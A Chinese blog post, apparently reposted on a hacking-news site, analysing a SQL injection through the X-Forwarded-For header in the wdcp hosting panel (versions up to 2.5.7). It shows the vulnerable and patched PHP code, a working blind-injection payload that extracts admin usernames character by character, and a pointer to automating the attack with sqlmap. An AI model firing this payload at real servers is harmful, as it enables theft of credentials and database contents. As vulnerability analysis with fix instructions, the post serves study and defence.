记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

wdcp X-Forwarded-For注入漏洞分析

2015-02-15 02:50

0x1 漏洞介绍

官网的更新日志:

20130804(2.5.8)

修复一个SQL注入安全漏洞,会汲漏数据库信息(务必升级)


说明2.5.7版本及以下存在注入漏洞。可以直接获取wdcp后台用户名和密码 以及 整个wdcp数据库数据。
影响版本:小于等于2.5.7 目前最新版本v2.5.11

0x2. 漏洞原理分析

漏洞原理可以分析patch,或者分析网上这款WDCP X-Forwarded-For注入工具,工具的下载链接百度搜索即可。比起分析patch,分析这款工具的payload更容易找到漏洞细节。先搭建一个v2.5.7的环境。
如何分析payload? 直接用wireshark分析这款工具的发包就可以了。
我们只关注http协议中,该工具请求的数据和服务器返回的数据。所以wireshark过滤应这样写:ip.addr == xx.xx.xx.xx and http,然后开始捕获。接着将有漏洞的ip填入到注入工具



点击批量注入,此时wireshark就可以抓到整个注入过程的payload,剩下的就要分析下wireshark的数据包。下图中,我抹掉的ip是有漏洞的服务器ip,192.168.0.102是我本地网卡的ip地址,458号包是本地向服务器发送GET请求,请求内容完全正常。456号包是服务器返回的数据,由于提交的正常请求,所以也就返回正常页面,并且长度为989个字节,那么可以得出结论,返回长度不是989个字节的返回都不是正常的GET数据提交。
继续看486号包的GET请求内容,X-Forwarded-For: 127.0.0.1'\r\n,\r\n是换行可以不予理会,在127.0.0.1后面有一个单引号,然后再看484号的返回内容长度为54字节,一看就有尿点,查看Line-based text data: text/html(也就是页面返回的网页html数据)数据为MySQL Query Error:select ltime from wd_loginlog where lip='127.0.0.1'' and state=1 order by id desc limit 10,1<br>。最后关注下,当前注入的页面是8080端口的首页。


分析到这,相信注入点,漏洞存在的文件,一下就可以搜索到了。
先将wdcp代码解密,解密代码,我上篇博客中有写到。然后用notepad++(安装Light Exporer插件)在wdcp的目录中搜索select ltime from wd_loginlog where lip


可以看到注入发生在member.func.php,并且关键代码如下:

global $db;
$ip=get_client_ip();
$q=$db->query("select ltime from wd_loginlog where lip='$ip' and state=1 order by id desc limit 10,1");
$r=$db->fetch_array($q);
$ctime=time();
if ($ctime-$r['ltime']<1800) return 1;
$q=$db->query("select ltime from wd_loginlog where lip='$ip' and state=1 order by id desc limit 2,1");
$r=$db->fetch_array($q);
$ctime=time();
if ($ctime-$r['ltime']<120) return 1;
else return 0;
}


从上面分析的payload可以发现$ip是注入点,所以找下$ip的来源,往上看,$ip=get_client_ip(); $ip是函数get_client_ip获取,所以再查找字样function get_client_ip,代码如下。PS:PHP中函数调用不区分大小写。
fun.inc.php

function Get_client_ip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return $ip;
}


可以看到,获取到的$ip可以直接来源于X-Forwarded-For,最后并没有对$ip进行过滤。我们可以看下最新版的修复方案,最后很明显对$ip的*和'以及"进行了过滤。防止注入。

function Get_client_ip(){
//echo getenv("HTTP_X_FORWARDED_FOR");
//if (!empty(getenv("HTTP_X_FORWARDED_FOR")) { echo getenv("HTTP_X_FORWARDED_FOR");exit;}
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
//echo $ip;
return preg_replace("/\*|'|\"/isU","",$ip); // 在这进行了过滤
//return str_replace("*","",$ip);
//return $ip;
}


分析完漏洞成因,再来看漏洞的payload具体是怎样利用的吧。
咋一看是报错注入,不过没有测试成功,只是在本地可以成功。那就盲注吧,猜猜猜 -(
还是回到wireshark,看看完整的payload,看接着返回页面为正常页面,并且有注入代码的包。往下接着就能看到X-Forwarded-For: 127.0.0.1' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(name AS CHAR),0x20) FROM wdcpdb.wd_member ORDER BY id LIMIT 0,1),1,1))=97) THEN 0x3132372e302e302e31 ELSE 0x28 END)) AND 'rRyy'='rRyy\r\n
它的完整的sql是select ltime from wd_loginlog where lip='127.0.0.1' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(name AS CHAR),0x20) FROM wdcpdb.wd_member ORDER BY id LIMIT 0,1),1,1))=97) THEN 0x3132372e302e302e31 ELSE 0x28 END)) AND 'rRyy'='rRyy' and state=1 order by id desc limit 10,1
意思是,判断wdcpdb.wd_member表中根据id排序后的name字段的第一个字符的ascii是不是97,字符a,如果是返回正常页面,并且简化后sql为select ltime from wd_loginlog where lip='127.0.0.1' RLIKE(select 0x3132372e302e302e31) AND 'rRyy'='rRyy' and state=1 order by id desc limit 10,1,不是则报错,并且简化后的sql为:select ltime from wd_loginlog where lip='127.0.0.1' RLIKE(select 0x28) AND 'rRyy'='rRyy' and state=1 order by id desc limit 10,1,0x28导致报错。
RLIKE本来实际用法是select * from table where column RLIKE 'a.*',在这使用方法是
select * from table where column = 'xx' RLIKE 0x28,这会报错。RLIKE 0x30就不会报错。



知道漏洞页面,也理解payload,就直接丢sqlmap吧,利用sqlmap.py -r http header注入。

0x3. 漏洞修复

升级到最新版2.5.11
或者将fun.inc.php的return $ip;改为return preg_replace("/\*|'|\"/isU","",$ip);然后加密成wdcp的加密方式。
知识来源: www.2cto.com/Article/201502/377451.html

阅读:212601 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“wdcp X-Forwarded-For注入漏洞分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词